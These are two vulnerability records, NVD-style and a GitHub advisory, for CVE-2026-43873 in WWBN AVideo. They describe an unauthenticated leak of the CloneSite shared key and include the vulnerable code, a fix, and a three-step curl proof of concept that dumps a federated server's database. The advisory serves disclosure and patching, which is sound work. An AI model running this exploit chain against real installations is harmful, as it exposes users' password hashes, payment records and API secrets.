{
  "affected": [
    {
      "affectedData": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 29.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions up to and including 29.0, plugin/CloneSite/cloneClient.json.php echoes the local CloneSite shared secret ($objClone-\u003emyKey, a constant md5($global[\u0027systemRootPath\u0027] . $global[\u0027salt\u0027])) into the HTTP response body on every unauthenticated request. The unauthenticated error branch was intended to reject non-admin callers without a valid key, but the rejection message interpolates the expected key before die(). When the victim has CloneSite configured with a remote cloneSiteURL (standard federation/backup setup), the leaked myKey is exactly the credential that authenticates the victim to that remote server\u0027s cloneServer.json.php, allowing the attacker to impersonate the victim and trigger a full mysqldump of the remote\u0027s database to the remote\u0027s public videos/clones/ directory Commit e6566f56a28f4556b2a0a09d03717a719dcb49da contains an updated fix."
    }
  ],
  "id": "CVE-2026-43873",
  "lastModified": "2026-06-17T10:50:00.430",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-43873",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-12T12:56:05.654210Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-11T22:22:11.703",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/commit/e6566f56a28f4556b2a0a09d03717a719dcb49da"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-qm9p-p5pw-jrx2"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-qm9p-p5pw-jrx2"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-209"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43873"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T18:58:13Z",
    "nvd_published_at": "2026-05-11T22:22:11Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`plugin/CloneSite/cloneClient.json.php` echoes the local CloneSite shared secret (`$objClone-\u003emyKey`, a constant `md5($global[\u0027systemRootPath\u0027] . $global[\u0027salt\u0027])`) into the HTTP response body on every unauthenticated request. The unauthenticated error branch was intended to reject non-admin callers without a valid key, but the rejection message interpolates the expected key before `die()`. When the victim has CloneSite configured with a remote `cloneSiteURL` (standard federation/backup setup), the leaked `myKey` is exactly the credential that authenticates the victim to that remote server\u0027s `cloneServer.json.php`, allowing the attacker to impersonate the victim and trigger a full `mysqldump` of the remote\u0027s database to the remote\u0027s public `videos/clones/` directory.\n\n## Details\n\n### 1. The leak (`plugin/CloneSite/cloneClient.json.php:51-60`)\n\n```php\n$objCloneOriginal = $objClone;\n$argv[1] = preg_replace(\"/[^A-Za-z0-9 ]/\", \u0027\u0027, empty($argv[1])?\u0027\u0027:$argv[1]);\n\nif (empty($objClone) || empty($argv[1]) || $objClone-\u003emyKey !== $argv[1]) {\n    if (!User::isAdmin()) {\n        $resp-\u003emsg = \"You can\u0027t do this\";\n        $log-\u003eadd(\"Clone: {$resp-\u003emsg}\");\n        echo \"$objClone-\u003emyKey !== $argv[1]\";   // \u003c-- interpolates myKey\n        die(json_encode($resp));\n    }\n}\n```\n\nUnder PHP\u0027s web SAPI, the script-scope `$argv` global is not populated from the query string (only `$_SERVER[\u0027argv\u0027]` is populated, and only when `register_argc_argv=On`). Verified on this host (PHP 8.4.16, built-in web server):\n\n```\nbool(false)                # isset($argv)\nstring(9) \"undefined\"      # $argv ?? \u0027undefined\u0027\nstring(9) \"undefined\"      # $_SERVER[\u0027argv\u0027]\nstring(9) \"undefined\"      # $argv[1]\nbool(true)                 # empty($argv[1])\n```\n\nBecause `empty($argv[1])` is true, line 51\u0027s `preg_replace` returns `\u0027\u0027` and `$argv[1]` becomes `\u0027\u0027`. Line 53 therefore enters the outer `if` (empty key). `User::isAdmin()` returns false for unauthenticated callers, so line 57 runs and echoes the contents of `$objClone-\u003emyKey` into the response body before `die()`. The response body looks like:\n\n```\n\u003c32-hex-char md5\u003e !== {\"error\":true,\"msg\":\"You can\u0027t do this\"}\n```\n\nThe 32-hex prefix is the local `myKey`.\n\n### 2. Where `myKey` comes from (`plugin/CloneSite/CloneSite.php:67`)\n\n```php\n$obj-\u003emyKey = md5($global[\u0027systemRootPath\u0027].$global[\u0027salt\u0027]);\n```\n\n`myKey` is a static per-installation value generated from `systemRootPath` and `salt`. It never rotates.\n\n### 3. Why the leaked key is dangerous (cross-site chain)\n\n`cloneClient.json.php:75` shows `myKey` is the credential the client presents to its configured remote clone server:\n\n```php\n$url = $objClone-\u003ecloneSiteURL . \"plugin/CloneSite/cloneServer.json.php?url=\"\n     . urlencode($global[\u0027webSiteRootURL\u0027]) . \"\u0026key={$objClone-\u003emyKey}\u0026useRsync=\" . intval($objClone-\u003euseRsync);\n```\n\nOn the remote side, `plugin/CloneSite/cloneServer.json.php:32-42` calls `Clones::thisURLCanCloneMe($_GET[\u0027url\u0027], $_GET[\u0027key\u0027])`, which in `plugin/CloneSite/Objects/Clones.php:73-101` does only:\n\n```php\n$clone = new Clones(0);\n$clone-\u003eloadFromURL($url);\n...\nif ($clone-\u003egetKey() !== $key) { $resp-\u003emsg = \"Invalid Key\"; return $resp; }\nif ($clone-\u003egetStatus() !== \u0027a\u0027) { ... }\n```\n\nFor any federation pair the remote admin has approved (`status=\u0027a\u0027`), supplying `url=\u003cvictim\u003e\u0026key=\u003cleaked myKey\u003e` passes this check. `cloneServer.json.php:86-90` then runs an unconditional `mysqldump` of every table except `CachesInDB`:\n\n```php\n$cmd = \"mysqldump -u {$mysqlUser} -p\u0027{$mysqlPass}\u0027 --host {$mysqlHost} \".\n       \" --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} \u003e $sqlFile\";\nexec($cmd . \" 2\u003e\u00261\", $output, $return_val);\n...\necho json_encode($resp);   // includes $resp-\u003esqlFile = \"Clone_mysqlDump_\u003cuniqid\u003e.sql\"\n```\n\nThe dump lands in `{videosDir}/clones/\u003csqlFile\u003e`, and `videos/` is a public static directory in default AVideo deployments, so the attacker can fetch it with one more unauthenticated request.\n\n### 4. Not fixed by the previous `clones.json.php` hardening\n\nCommit `160e02635`/earlier added `if (!User::isAdmin())` guards to `plugin/CloneSite/clones.json.php` (the table-management endpoint that lists server-side per-client keys, previously advisory-submitted as CWE-306). That fix does not apply to `cloneClient.json.php`, which is a separate file and discloses a structurally different secret (the local `myKey`, not the per-URL server-side keys).\n\n## PoC\n\nPrerequisite: target installation has the `CloneSite` plugin enabled with a configured `cloneSiteURL` (this is the standard use: federated backup / site cloning). No authentication required.\n\n**Step 1 \u2014 leak the local `myKey` (unauthenticated GET):**\n\n```bash\ncurl -s \u0027https://victim.example.com/plugin/CloneSite/cloneClient.json.php\u0027\n```\n\nResponse body:\n\n```\n3f2a7c8b9d6e4f1a0b5c7d8e9f2a3b4c !== {\"error\":true,\"msg\":\"You can\u0027t do this\"}\n```\n\nThe 32-hex-character prefix is `$objClone-\u003emyKey`.\n\n**Step 2 \u2014 use the leaked `myKey` to make the victim\u0027s configured remote dump its own database:**\n\n```bash\ncurl -s \u0027https://remote-server.example.com/plugin/CloneSite/cloneServer.json.php?url=https%3A%2F%2Fvictim.example.com%2F\u0026key=3f2a7c8b9d6e4f1a0b5c7d8e9f2a3b4c\u0026useRsync=0\u0027\n```\n\nResponse (truncated):\n\n```json\n{\"error\":false,\"url\":\"https://victim.example.com/\",\"key\":\"...\",\"videosDir\":\"...\",\"sqlFile\":\"Clone_mysqlDump_65f3a2b14c7e8.sql\",\"videoFiles\":[...],\"photoFiles\":[...]}\n```\n\n**Step 3 \u2014 download the full database dump from the remote\u0027s public `videos/` directory:**\n\n```bash\ncurl -O \u0027https://remote-server.example.com/videos/clones/Clone_mysqlDump_65f3a2b14c7e8.sql\u0027\n```\n\nThis file contains every table except `CachesInDB` \u2014 `users` (including password hashes), payment records, API secrets, plugin configuration, etc.\n\n## Impact\n\n- Any unauthenticated attacker can retrieve the CloneSite shared secret (`myKey`) of any AVideo installation that has the plugin enabled. `myKey` is static and never rotates on its own.\n- When that installation is federated with a remote CloneSite server (the standard use of the plugin), the leaked key permits the attacker to impersonate the victim client to the remote. `cloneServer.json.php` on the remote performs no additional authentication, runs an unconditional `mysqldump`, and places the result under the web-accessible `videos/clones/` directory \u2014 so a single leaked `myKey` leads to a full database dump (users, password hashes, payment and plugin configuration, API credentials) of the remote partner, downloadable over HTTP.\n- The compromise crosses the federation boundary: leaking the key on site A yields the database of site B. This is scope-changing in practice even if CVSS scope is formally `Unchanged`.\n- The `clones.json.php` hardening (the previously reported CWE-306 fix) does not cover this path; `cloneClient.json.php` is a distinct file that exposes a structurally different credential.\n\n## Recommended Fix\n\nDo not echo the expected key in the rejection message, and reject non-CLI / non-admin callers cleanly. Example patch for `plugin/CloneSite/cloneClient.json.php:51-60`:\n\n```php\n// Only accept the key argument from actual CLI invocations (intended usage:\n// cron \"php .../cloneClient.json.php \u003cmyKey\u003e\"). Over HTTP, require admin.\n$cliKey = (PHP_SAPI === \u0027cli\u0027 \u0026\u0026 !empty($argv[1]))\n    ? preg_replace(\"/[^A-Za-z0-9 ]/\", \u0027\u0027, $argv[1])\n    : \u0027\u0027;\n\nif (empty($objClone) || empty($cliKey) || $objClone-\u003emyKey !== $cliKey) {\n    if (!User::isAdmin()) {\n        $resp-\u003emsg = \"You can\u0027t do this\";\n        $log-\u003eadd(\"Clone: {$resp-\u003emsg}\");\n        // Do NOT echo $objClone-\u003emyKey \u2014 it is a shared secret used to\n        // authenticate to the configured remote clone server.\n        die(json_encode($resp));\n    }\n}\n```\n\nAdditional hardening recommended:\n\n- Replace the static `myKey = md5(systemRootPath . salt)` with a randomly generated, per-installation key stored in the plugin configuration that can be rotated (see similar advice from GHSA-wqcc-qf63-c2x4 / CWE-331 on AVideo secret generation).\n- On the remote side (`cloneServer.json.php`), consider requiring the `sqlFile` path to be unguessable (already is, via `uniqid()`) AND gating the dump behind an IP allowlist or an additional pre-shared rotating token, so that loss of a client\u0027s `myKey` does not immediately yield a full database dump.\n- Serve `videos/clones/` with an `.htaccess`/nginx rule that denies direct HTTP access, so that even if a rogue client is authenticated, the dump is not downloadable over the web.",
  "id": "GHSA-qm9p-p5pw-jrx2",
  "modified": "2026-05-13T14:19:24Z",
  "published": "2026-05-05T18:58:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-qm9p-p5pw-jrx2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43873"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/e6566f56a28f4556b2a0a09d03717a719dcb49da"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: Unauthenticated Disclosure of CloneSite `myKey` via Error Echo in `cloneClient.json.php` Enables Cross-Site DB Dump of the Configured Clone Server"
}